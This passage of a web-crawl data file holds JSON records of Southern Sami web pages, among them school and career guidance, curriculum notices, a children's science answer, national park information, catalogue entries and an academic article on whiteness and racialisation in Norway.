motoriske vansker hos barn i førskolealder.\nBaakoegåårkese lea digitale goerehtimmie gaskeviermesne. Destie maahta daejredh guktie maana baakoeh guarkoe. Numhtie åadtjobe daejredh guktie edtjebe baakoej gujmie barkedh dovne maanagïertesne jïh skuvlesne.\nÅarjelsaemien foneemeteeste maanan gïeletjoejh öörnegen mietie goerehte. Maahta daam nuhtjedh jis maana tsagkesh åtna gosse edtja soptsestidh, jallh jis sæjhta maanan baakoestimmiem goerehtidh.\nViser 361–380 av 875 treff.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/statped.no\/laringsressurser\/sok-resultatside\/finn-laringsressurser\/?q=&s=&p=19&n=100","date":"2023-10-03T21:02:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511220.71\/warc\/CC-MAIN-20231003192425-20231003222425-00707.warc.gz","language":"sma","language_score":0.83057338,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.8305733799934387, \"sme_Latn_score\": 0.16209527850151062}","num_words":220,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.023,"flagged_words_ratio":0.0,"lang_id_score":0.9,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ellen Marie Vars noere-romaanem «Kátjá» (1986) tjaaleme. Romaanesne mijjieh Katjam fulkebe dehtie raejeste reakasåvva goske 20 jaepien båeries.\nLohkh dah göökte boelhkh noere-romaaneste «Kátjá» (1986) maam Ellen Marie Vars lea tjaaleme, jïh vaestedh gyhtjelasside.\nGie tjaelije jïh gubpede båata?\nGåessie dam romaanem tjeeli, jïh mennie gïelesne?\nMan bïjre dah göökte tekste-boelhkh? Buerkesth åenehkslaakan jïjtjedh baakoejgujmie.\nGuktie dah tekste-boelhkh saemien ovmessie kultuvren biehkieh vuesiehtieh.\nGuktie åejvie-almetje ussjede sov identiteeten bïjre? Buerkesth.\nMaam sjïere tjaelije almetji identiteeten bïjre beavna?","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/nb\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:8bfb17e8-b081-476d-8e00-49f219ef5de3\/topic:2:6b2d1ccd-f72c-4f6a-bd36-ced187523dba\/resource:2ad3f5a4-11e2-4c5b-99c8-2a0c279943b2","date":"2023-09-22T08:26:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506339.10\/warc\/CC-MAIN-20230922070214-20230922100214-00423.warc.gz","language":"sma","language_score":0.9999955893,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999955892562866}","num_words":74,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.179,"stopwords_ratio":0.108,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bijjemes bielie – aarvoeh jïh prinsihph maadthööhpehtimmesneBijjemes bielie – aarvoeh jïh prinsihph maadthlïerehtæmman leah bielie learoesoejkesjevierhkeste jïh leah ektie nöörjen lïerehtæmman jïh saemien maadthlïerehtæmman Aarebi prinsihph lïerehtæmman saemien skuvlesne lin jïjtse tjaatsegisnie. Orre bijjemes bielie daejtie bielide sljeahta: Sïejhme bielie, Prinsihph lïerehtæmman jïh Prinsihph lïerehtæmman – saemien. Bijjemes bielie – aarvoeh jïh prinsihph maadthööhpehtimmesne (PDF, 345 kB)","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/sametinget.no\/lierehtimmie\/learoesoejkesjh\/bijjemes-bielie-aarvoeh-jih-prinsihph-maadthoohpehtimmesne\/","date":"2023-09-29T01:35:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510462.75\/warc\/CC-MAIN-20230928230810-20230929020810-00672.warc.gz","language":"sma","language_score":0.9999668598,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999668598175049}","num_words":52,"character_repetition_ratio":0.154,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.212,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mannasinie jïjjege tjeehpes\/veelkes klaerine vuejnebe?\nTjelmien leah göökte ovmese våajnoesellh, juktie maehtebe vuejnedh. Voestes selle goh sööjmes filme, klaerieh vuesehte men jïjnjh tjoevke daarpesje jis edtja dïjpedh.\nMubpien selle lea goh sneehpes filme, barre tjeehpes\/veelkes guvvieh vuesehte jïh vaenie tjoevke daarpesje. Jïjjege jemhkele sjædta jïh tjelmie maahta barre tjeehpes\/veelkes klaerieh vuesiehtidh, dan åvteste dah \"klaerieh-sellh\" tjoevkem daarpesjieh.\nMannasinie dyjrh tjelmieh gåabpegh bielesne utnieh?\nDyjrh tjuerieh geehtedidh juktie eah juvrh sijjem vaeltieh. Dellie vihkeles gaajhkh lehkeste vuejnedh.","id":"","dump":"CC-MAIN-2023-40","url":"http:\/\/prod.ovttas.no\/node\/4574","date":"2023-09-24T04:45:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506559.11\/warc\/CC-MAIN-20230924023050-20230924053050-00268.warc.gz","language":"sma","language_score":0.9999989271,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.999998927116394}","num_words":76,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.053,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Vangberg, Åsta Bertije Sametinget i Norge Sandvik AS Vaadtasovvemejaepie 2002 Faage Saemien 1 Saemien 2, 3 jïh 4 Daltese Maanagïerte SAÖ 1-4 5-7 Giele Åarjelsaemiengïele Tïjje 00:40:00 Formaate Tjoejegærja Reakta-aajhtere Sametinget i Norge Sandvik AS Reaktah Gaajhkh reaktah leah doelehtovveme Aamhtesh Aerpiemaahtoe Njaalmeldh kultuvre Kultuvre Litteratuvre Saemiengïele heevehtslitteratuvre Viehkiebaakoe Heamture","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ovttas.no\/sma\/jietna_njieljie-aalmeg-heamturh","date":"2023-09-25T18:43:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510085.26\/warc\/CC-MAIN-20230925183615-20230925213615-00484.warc.gz","language":"sma","language_score":0.9974294901,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9974294900894165}","num_words":43,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.093,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Buerie båeteme\nDah baalkah Björnlanden nasjonaaleparhkesne lea mïerhkesjamme eatnamisnie. Datne maahtah namhtah jïjjedidh Angsjökojan jïh Svärmorskojan sisnie.\nTjaangemesijjie Angsjö lea aelhkies tjaangedh gamte moerebaalka mij skåajjese bïevneseskïltide. Desnie aaj gaaltije jïh aernie. Moerh leah ståapoej lïhke jïh våarhkosne tjaangemedajvesne.\nGaskesadth mijjem jis dov naan gyhtjelassh:\nTomas Staafjord\nNaturvårdsenheten\nemail@example.com\nTelefovne: 010-2254455\nJuoge ietjat rádnaj\nJuoge dáv bielev ietjat rádnaj Facebookan, X, Google+ ja mailajn.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.sverigesnationalparker.se\/smj\/vallji-suoddjimparkav\/bjornlandet-suoddjimparkka\/guossidimdiededibme\/","date":"2023-12-10T07:29:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679101282.74\/warc\/CC-MAIN-20231210060949-20231210090949-00771.warc.gz","language":"sma","language_score":0.9998973608,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9998973608016968}","num_words":63,"character_repetition_ratio":0.018,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mah njoelkedassh dov båetijen aejkien bïjre? Maam sïjhth sjïdtedh?\nDatne jïjtje tjoerh veeljedh mïsse edtjh jaepide nuhtjedh jåarhkelïerehtimmesne. Dan åvteste væjsehke veelelaakan ussjedidh maam ööhpehtimmide datne sïjhth veeljedh, jïh mejnie vïenhth datne sïjhth lyjhkedh barkedh båetijen aejkien. Vihkele datne dam jïjtje veeljh!\nSoptsesth eejhtegigujmie jïh ööhpehtimmie- jïh barkoeraeriestæjjine skuvlesne ovmessie ööhpehtimmienuepiej jïh barkoeveeljemi bïjre.\nMij dutnjien sjeahta?\nDaerpies datne jïjtjemdh damth gosse edtjh ööhpehtimmiem jïh barkoem veeljedh. Uvtemes byörh gaavnedh mij dov veaksahkommes bielieh lea. Destie jïjtjedamtoem åadtjoeh, naakede mij vihkele gosse edtjh hijven veeljemem darjodh. Gihtjh jïjtjemdh:\n- Mejnie leam væjkele?\n- Mah ïedtjh mov?\n- Mejnie lyjhkem gïehtelidh?\n- Maam nïekedem darjodh?\nDov daajroeh, maehtelesvoeth jïh tjiehpiesvoeth\nSkuvlesne dån gaavneme mah faagh mah leah aelhkemes dutnjien, jïh mej faagigujmie datne tjabreminie. Man haaran dov maehtelesvoeth juhtieh?\n- Datne væjkele teorijefaagine? Maam bööremes lyjhkh, gïele jallh matematihke?\n- Datne væjkele tjeahpoen sisnjelen, lyjhkh guvviedidh jïh måaladidh jallh instrumeentem tjoejehtidh?\n- Datne uvtemes praktihkeles? Datne lyjhkh beapmoeh jurjiehtidh, gåarodh jallh kluhtierdidh jallh dåvvodh?li>\n- Jallh dagke datne ellen bööremes tråjjedh vitnedimmietæjmojne?\nDov jïjtsevoeth\nJïjtsevoeth lea guktie datne leah goh almetje. Daate vihkele dov veeljemasse båetijen aejkien barkoste\n- Datne sosijaale? Lyjhkh gelliej almetjigujmie årrodh? Datne lyjhkh mubpiejgujmie soptsestidh jïh mubpiejgujmie åahpenidh, jallh bööremes lyjhkh naan gille hijven voelpigujmie årrodh?\n- Buektehth laavenjostedh, jallh sïjhth eeremasth maam akt jïjtje loetedh?\n- Datne væjkele mubpiej åssjaldahkh jïh mïelh goltelidh?\n- Maahta datnem leajhtadidh?\n- Datne lyjhkh sjeakoldh dov bïjre utnedh, jallh seamma hijven jis ånnetji kreatijve rööhtseldihkie\n- Dov lea jïjnje skraejrie, jallh bööremes lyjhkh gosse jeatjebh muenieh jïh öörnedieh?\nGosse ikth båetijen aejkien edtjh barkoem ohtsedh, barkoefaalije sæjhta stoerre leavloem bïejedh dov persovneles jïjtsevoetide. Vuesiehtimmien gaavhtan mejtie gåarede datnem leajhtadidh, mejtie dov lea vaenie gaatoe, jïh mejtie maahtah laavenjostedh jïh jïjtjeraarehke barkedh. Guktie datne barkoem pryöjjedh jïh dejtie mejgujmie edtjh barkedh maahta seamma vihkele årrodh goh hijven karakteerh skuvleste. Dan åvteste öörnege- jïh dåemiedimmiekarakteerh vihkele!\nDov ïedtjh\nJis åadtjoeh mejnie akt gïehtelidh mestie ïedtjem åtnah jïh mïsse skraejriem åtnah, dellie stoerre hille datne sïjhth lyhkesidh. Men ih maehtieh iktesth veanhtadidh dan aavrehke årrodh guktie dov ïedtjh leah eevre seamma goh akte vihties ööhpehtimmie jallh sjïere barkoe. Læjhkan maahtah dov ïedtjesuerkiem jieniebinie dejstie ööhpehtimmieprogrammijste gaavnedh. Måjhtelh aaj ïedtjh maehtieh varke jorkesidh gosse noere. Jeatjah ïedtjh maehtieh jijhtedh lissine dejtie mejtie joe åtnah.\nDov healsoe\nMaahta daerpies årrodh jïjtse healsoem krööhkestidh gosse edtja ööhpehtimmiem jïh barkoem veeljedh.\n- Såemies barkojne vielie gaarkh leah daerpies goh jeatjah barkojne.\n- Allergije maahta dov veeljemenuepieh gaertjiedidh.\n- Maahta vihties krïevenassh årrodh vuejniemasse jïh govlemasse, jallh maahta jeatjah sjïere krïevenassh årrodh såemies barkojne.\nDaate lea mij akt maam tjoerh goerehtidh åvtelen ööhpehtimmiem veeljh. Gihtjh ööhpehtimmie- jïh barkoeraeriestæjjam jis leah jueriedisnie.\nMubpiej veanhtadimmieh\nLea væjsehke dov eejhtegigujmie jallh åeliealmetjigujmie ektine astoem nuhtjedh ovmessie alternatijvi jïh nuepiej bïjre soptsestidh. Goltelh raeride fuelhkeste jïh voelpijste. Birrh aaj ööhpehtimmie- jïh barkoeraeriestæjjam skuvlesne jïh jeatjebh mejtie leajhtedh raeriej bïjre.\nLea naa sïejhme eejhtegh, åerpenh, slïekte jïh voelph mïelh utnieh maam datne tjoerh sjïdtedh. Gellie åeliealmetjh\/eejhtegh stoerre veanhtadimmieh maanaj båetijen aajkan utnieh. Men dam minngemes veeljemem tjoerh jïjtje vaeltedh! Ih tjoerh baajedh jeatjebh datnem baajnehtidh maam akt veeljedh maam ih sïjhth, ajve dan åvteste dah vienhtieh daate lea dïhte reaktoe dutnjien.\nBarkoe jïh tjoeleråållah\nBarkoejielede gellievoetem daarpesje. Vihkele datne ööhpehtimmieprogrammem veeljh mij ij leah jearohke aerpievuekien tjoeleråållijste. Aellieh baajh datnem stuvredh vuajnojste mah jiehtieh såemies barkoeh leah ålmide, mearan jeatjah barkoeh bööremeslaakan nyjsenæjjide sjiehtieh. Ussjedh veelelaakan maam datnevaajtelh!\nGoerehth gaajhkh dov nuepieh\nDatne dån maam akt såemies barkoej bïjre daajrah, jïh dov lea dagke veanhtoe mej barkoej bïjre mah maehtieh dutnjien sjïehtedh. Men seekere datne nuekie hijven bijjieguvviem åtnah? Ajve barkoefaageles lïerehtimmien sisnjelen lea mahte 200 ovmessie barkoeh mej sisnie maahtah lïerehtimmiem åadtjodh, jïh jïlleskuvle- jïh universiteeteööhpehtimmie gellie barkoenuepieh vedtieh.\n- Lyjhkh gosse spaajhte jåhta jïh gosse gieltege, jïh vïenhth pollise, jamhkelæjja jallh pilovte lea mij akt dutnjien? Dellie maahtah dagke aaj barkoeh vuarjasjidh goh skïemtjebïjlebarkije, vaeptie jallh girtiestuvrije?\n- Datne onterdamme mejtie edtjh healsoesuerkien sisnjelen barkedh goh dåaktere jallh skïemtjesåjhtere? Maahtah aaj jeatjah healsoebarkoeh goerehtidh goh vuesiehtimmien gaavhtan portööre jallh manuelleterapeevte?\nÅrroeh tjetskehke jïh ræhpas gosse dov nuepieh goerehth. Datne dån vueptesth sagke jienebh alternatijvh gååvnesieh goh datne deejrih.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.vilbli.no\/nb\/sma\/no\/veeljeme-lea-dov\/a\/036553","date":"2023-12-05T15:31:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100551.2\/warc\/CC-MAIN-20231205140836-20231205170836-00451.warc.gz","language":"sma","language_score":1.000007391,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000073909759521}","num_words":667,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vaadtasovvemejaepie\n2003\nFormaate\nSïejhme gærja\nReakta-aajhtere\nBirtavarre barnehage\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n34\nBiertavárri-maanajgïerten reektehtse unniemdimmie mearoesaemien gaertenebigkemistie.\nJeaggeduohkin-dállu \/ Myrberget-gården – lea unniemdimmie maalle dehtie Miessegietti dállu:ste \/ Holmenes gård, jïh dïhte ståapide jïh barkojde måjhtajahta mah Gáivuotnesne 1900-låhkoen aalkoevisnie lin. Unniemdimmie ståapam utnieminie gosse edtjieh dan lïhkes dajven kultuvrem jïh histovrijem almetjidie lohkehtidh.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/ovttas.no\/sma\/girji_prosjekt-myrberget-en-minigard-i-sjosamisk-stil","date":"2023-12-04T00:45:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100518.73\/warc\/CC-MAIN-20231203225036-20231204015036-00523.warc.gz","language":"sma","language_score":0.9990864992,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9990864992141724}","num_words":53,"character_repetition_ratio":0.028,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.113,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Båetieh vuejnieh, båetieh dååjrehth!\nSaemien kultuvrebyjresinie gellie såarhts kultuvremojhtesh gaavnebe. Dah leah gïejh laanteburreste, vuesiehtieh almetjh desnie orreme jih jielieminie jih religijovnine gïehtelamme. Naakenh leah guhkede gietjeste, mearan jeatjebh leah jïjtsh tïjjeste. Saemiedigkie sjïehteladta, kultuvrebyjresi bïjre beavna jih dejtie gorrede guktie jienebh, dovne saemieh jih jeatjebh maehtieh dejnie ræjhkoes jih gieltegs saemien kultuvrehistovrijinie åahpenidh","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/sametinget.no\/kultuvremojhtese-jih-gaetievaarjelimmie\/saemien-kultuvremojhtesh-jih-eatneme\/vaeljehke-saemien-kultuvre-eatnemh\/","date":"2023-12-11T05:20:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679103558.93\/warc\/CC-MAIN-20231211045204-20231211075204-00584.warc.gz","language":"sma","language_score":0.999879837,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9998798370361328}","num_words":54,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.204,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Datne lïerh\n- eatnemeïebni jïh eatnemehammoedimmien bïjre\n- gööleme- jïh ålkoejieleden bïjre\n- kreekesujhtemen jïh kreeketryjjesvoeten bïjre\n- sjædtoej jïh eatnemeprosessi bïjre\n- biologeles produksjovnen bïjre\nDatne byörh\n- praktihkeles årrodh\n- ïedtjem utnedh ålkone barkedh\n- hoksem utnedh almetjidie, kreekide jïh byjresasse\nDatne maahtah sjïdtedh\n- gartnere jallh agronovme\n- skåajjeoperatööre\n- hierkiegaamehdarjoje jallh hierkiefaagebarkije\n- faagebarkije båatsoefaagesne\n- göölije jallh faagebarkije akvakultuvresne\nVuartesjh gaajhkh barkoeh jïh maahtoeh\nDatne åadtjoeh\n- studijemaahtoem jïh maahtah jollebe ööhpehtimmiem vaeltedh jis veeljh studijeryöjreden Jåa3 eatnemeåtnoe\nBarkoesijjieh\n- laanteburrie jallh skåajjeburrie\n- gartnerije jallh haakeneåtnoe\n- gööleme jallh gueliebïepmehtimmie\n- båatsoe\nGuhkiebasse ööhpehtimmie\nBarkoefaageles lïerehtimmie barkoemaahtoem ulmine åtna (faage- jallh svenneprievine jallh namhtah). Barkoefaageles lïerehtimmiem mænngan maahtah barkosne aelkedh jallh guhkiebasse ööhpehtimmiem vaeltedh:\n- Maahtah jåarhkeööhpehtimmiem vaeltedh faageskuvlesne. Faageskuvleööhpehtimmie lea åenehks jïh barkoestuvreme jåarhkeööhpehtimmie mij lea ussjedamme dejtie mah barkoefaagem vaadtseme.\n- Maahtah Jåa3 lissiebigkemem sïejhme studijemaahtose vaeltedh\n– Jåa 2:n mænngan jallh\n– mænngan barkoemaahtoem jakseme.\nDellie nuepiem åtnah jollebe ööhpehtimmiem vaeltedh jïlleskuvlesne jallh universiteetesne. Mujhtieh såemies studijh, v.g. insjenööre-, realfaage- jïh medisijnen studijh, krievieh dov leah vihties realfaagh.\n- Maahtah aaj tsaekemem ohtsedh jollebe ööhpehtæmman åvtekuvsjen mænngan B-geajnoen tjïrrh, barkoefaageles geajnoe jollebe ööhpehtæmman. B-geajnoe lea ussjedamme dutnjien mij sjyöhtehke barkoemaahtoem åtna. Åvtekuvsjh jïh B-geajnoe leah sïejhmemes realfaage- jïh insjenöörestudiji sisnjeli.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.vilbli.no\/nb\/sma\/no\/eatnemeatnoe\/program\/v.na","date":"2023-12-04T02:36:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100523.4\/warc\/CC-MAIN-20231204020432-20231204050432-00023.warc.gz","language":"sma","language_score":1.0000058413,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.000005841255188}","num_words":186,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.124,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Veelkesvoete jïh jeatjah byjngetje væhtah\nNjaltjaklaerie jïh jeatjah byjngetje væhtah vihkeles råållam tjïertevidtjesne utnieh. Tjïertevidtjie lea vuelievuarjasjimmie kultuvreste jïh religijovneste, men daah elemeenth veadtasuvvieh kråahpen væhtide, amma jïjtsevoeth mejtie ij gåarede båarhte veeljedh.\nJillene daate vïedteldihkie aerpievuekien åssjaldahkide akten såarhts europan jallh jalletje guelmien bïjre, gusnie tjovkes njaltjaklaerie lea vihkielommes væhta. Veelkesvoete vååjnoe goh dïhte iemie, mearan jeatjah njaltjaklaerieh såemies jeatjahlaakan-voeten bïjre soptsestieh. Akte vuesiehtimmie: adopteereme daaroe provne njaltjine lea sån daamtaj gyhtjelassh åådtjeme sov maadtoen bïjre. Altese veelkes åabpa ajve sveekes dagkerh gyhtjelassh åådtje.\n\"Veelkesvoete vååjnoe goh dïhte iemie, mearan jeatjah njaltjaklaerieh såemies jeatjahlaakan-voeten bïjre soptsestieh.\nDotkemisnie tjïertevidtjien bïjre daate meatome lea ïedtjem lissiehtamme raaktan åssjaldahkem veelkesvoeten bïjre goerehtidh, åssjaldahke vihties guelmien bïjre goh dïhte iemie. Daate suerkie gohtjesåvva veelkesvoetegoerehtimmieh, jïh lea joekoen stoerre USA:sne gusnie akte guhkies histovrije naeliejoekehtsinie jïh annje sïerredimmie leah raastem veelkes jïh tjeehpes almetji gaskem joekoen tjyölkehke dorjeme.\nVeelkesvoetegoerehtimmieh gaskem jeatjah vuesiehtieh mah aevhkieh almetjh tjoevkes njaltjine utnieh jalletje seabradahkine. Veelkes aevhkieh leah vuesiehtimmien gaavhtan naelieprofileeremem polliseste slyöhpedh, jallh mikroaggresjovnh slyöhpedh goh daamtaj tjoeredh vaestiedidh gubpede rïektesisnie båata. Jallh slyöhpedh dïhte learohke klaassetjïehtjelisnie årrodh mij iktemearan måjhtajehteme sjædta satne jeatjahlaakan, dan åvteste ij maehtieh jïjtjemse identifiseeredh guvviejgujmie learoegærjesne.\nVihkele poenge veelkesvoetine, goh jeatjah kulturelle priviligeereme posisjovnigujmie\n(goh heteroseksuellle jallh jealamadtje årrodh) lea aevhkieh mejtie åtna, eah leah våajnoes dejtie jeanatjommesidie mah jïjtjh leah priviligeereme – dah vuajnalgieh goh iemie. Doh jeenjemes almetjh eah leah voerkes sijjen aevhkiej bïjre, åvtelen naakenh aevhkide aejhtieh. Men aevhkieh leah tjïelke dejtie mah dejtie negatijve konsekvenside dejstie dååjroeh. Aevhkieh luhpies sjidtieh kulturelle vïedteldihkie åssjaldahki jïh toelhkestimmiemöönsteri tjïrrh, man gaavhtan dah vuajnalgieh goh daerpies. Dïhte mij veelkesvoetem\/njaltjaklaeriem jeatjah kategorijijste joekehte, mij lea våarome systematihkeles joekehtsegïetedæmman, lea doh guhkies histovrijes linjah bååstede imperialismese, kolonijetïjjese jïh slaverijese (Fylkesnes, 2019).\n\"Njaltjaklaerie ij leah seamma gaajhkesidie mej nuepie vuajnalgidh goh veelkes jallh gaajhkesidie mah vuajnalgieh goh ij-veelkes.\nSeamma tïjjen maahta jiehtedh njaltjaklaerie ij leah seamma gaajhkesidie mej nuepie vuajnalgidh goh veelkes jallh gaajhkesidie mah vuajnalgieh goh ij-veelkes. Ingun Eriksen (2017) lea sov dotkemisnie vuesiehtamme guktie «veelkes» jïh «provne» sjïdtin goh sosijaale dorjesovveme identiteetekategorijh mej sïjse learohkh jåarhkeskuvlesne jïjtjemse bïejin, dejnie minngebe identifikasjovnine goh «veelkes- skuvlevæjkele jïh disiplineereme» mohte «provne = viesjies prestasjovnh jïh stujmiedihks». Kategorijh lin sosijaale dorjesovveme guktie learohkh veelkes njaltjine meehtin jååhkesjimmiem åadtjodh don «provne» dåahkan jïh båastode. Ij lij amma eevre statiske gïeh guedtiejinie sjïdtin dejtie naeliedahteme kategorijijste. Lissine akte toelhkestimmie jïh rååresjimmie mij «provne» jïh «veelkes» lin vihties tsiehkine. Dagkeres konteekstesne lohkehtæjja aaj sæjhta «veelkes» \/ «provne» raastesne vuajnalgidh, naakede mij vihth sæjhta altese pedagogeles dahkoenuepiem baajnehtidh.\nAaj vihkele voerkes årrodh dejtie joekehtsidie gaskem USA, gusnie raaste veelkes jïh afrikanen-amerikanerh lea sjïere tsiehkesne goh våarome sïerredæmman jïh Nöörje, gusnie jeatjah identiteetevæhtah maehtieh våaroeminie årrodh systematihkeles joekehtsgïetedimmiem luhpiedidh. Noerhkemeassilimeereme-politihke saemien årroji vööste, mij eevre tjyölkehke tjïertevidtjien ideologeles duekiem utni, ij lij dan jïjnje dej njaltjaklaerien bïjre, men jeatjah væhtah kråahpesne jïh kultuvresne, mah vuajnalgin goh unnebevyörtegs, jïh idtjin dejnie jïjtjereerije nöörjen kultuvrine sjïehth. Daate daerpiesvoetem tjïerteste veelelaakan ussjedadteh mah (aerviedamme) kråahpeles jïjtsevoeth, sosijaale jïh kulturelle praksish mah meatan naeliedahteme åssjaldahkine naakenh leah buerebe mubpijste jïh naakenh nåakebe mubpijste. Dagkeres ussjedadteme våaromem beaja systematihkeles daejtie åssjaldahkh tsööpkedh jïh dej vööste barkedh – dovne individuelle profesjovnebarkosne jïh jarkelimmien tjïrrh skuvleste goh institusjovne.\nNjaltjaklaerie læjhkan vihkeles aaj Nöörjesne. Gaskem jeatjah daate tjyölkehke ektiedimmesne nöörjenvoeten jïh veelkes njaltjaklaerien gaskem. Daate ektiedimmie gaskem jeatjah våajnoes sjædta dotkemisnie maam Marta Bivand jïh Mette Strømsø (202) leah dorjeme. Dah leah ööhpehtimmiesoejkesjem nöörjenvoeten bïjre tjïrrehtamme 300 learohkigujmie 6 jåarhkeskuvline. Soptsestallemh learohkigujmievuesiehtieh dej leah gelliesåarhts goerkesh nöörjenvoeten bïjre, men gusnie elemeenth goh gïele jïh njaltjaklaerie aaj tjyölkehke sjidtieh. Gyhtjelasse njaltjaklaerien bïjre aktem guektiengïerth vuajnoem vuesehte mij aaj meatan orreme dennie sjyöhtehke tjïertevidtjiedigkiedimmesne. Learohkh vienhtieh njaltjaklaerie byöroe ov-vihkeles årrodh, seamma tïjjen goh njaltjaklaerie daamtaj vuajnelge goh raaste mejtie lea nöörjen jallh ij.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.dembra.no\/sma\/fagtekster-og-publikasjoner\/artikler\/veelkesvoete-jih-jeatjah-byjngetje-vaehtah","date":"2024-02-23T03:41:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474360.86\/warc\/CC-MAIN-20240223021632-20240223051632-00512.warc.gz","language":"sma","language_score":0.9999876022,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999876022338867}","num_words":612,"character_repetition_ratio":0.061,"word_repetition_ratio":0.033,"special_characters_ratio":0.134,"stopwords_ratio":0.126,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije Guovdageainnu historjasearvi Vaadtasovvemejaepie 2000 Faage Siebriedahkefaage Eatnemelearoe jïh histovrije Saemien histovrije jïh siebriedahke Daltese 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele ISBN 8299325382 Formaate Guvviegærja Reakta-aajhtere Guovdageainnu historjasearvi Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 116 Aamhtesh Aerpiemaahtoe Njaalmeldh kultuvre Eatnemelearoe Åålmege jïh laanth Histovrije Saemien histovrije Kultuvre Litteratuvre Siebriedahke Siebriedahkedaajroe","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/ovttas.no\/sma\/node\/9575?overridden_route_name=entity.node.canonical&base_route_name=entity.node.canonical&page_manager_page=node_view&page_manager_page_variant=nodes&page_manager_page_variant_weight=-10","date":"2024-02-24T10:43:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474526.76\/warc\/CC-MAIN-20240224080616-20240224110616-00364.warc.gz","language":"sma","language_score":0.9991825223,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9991825222969055}","num_words":47,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.128,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TRAS julevsaemien\nJarnge lea dåarjoem åådtjeme Saemiedigkeste juktie 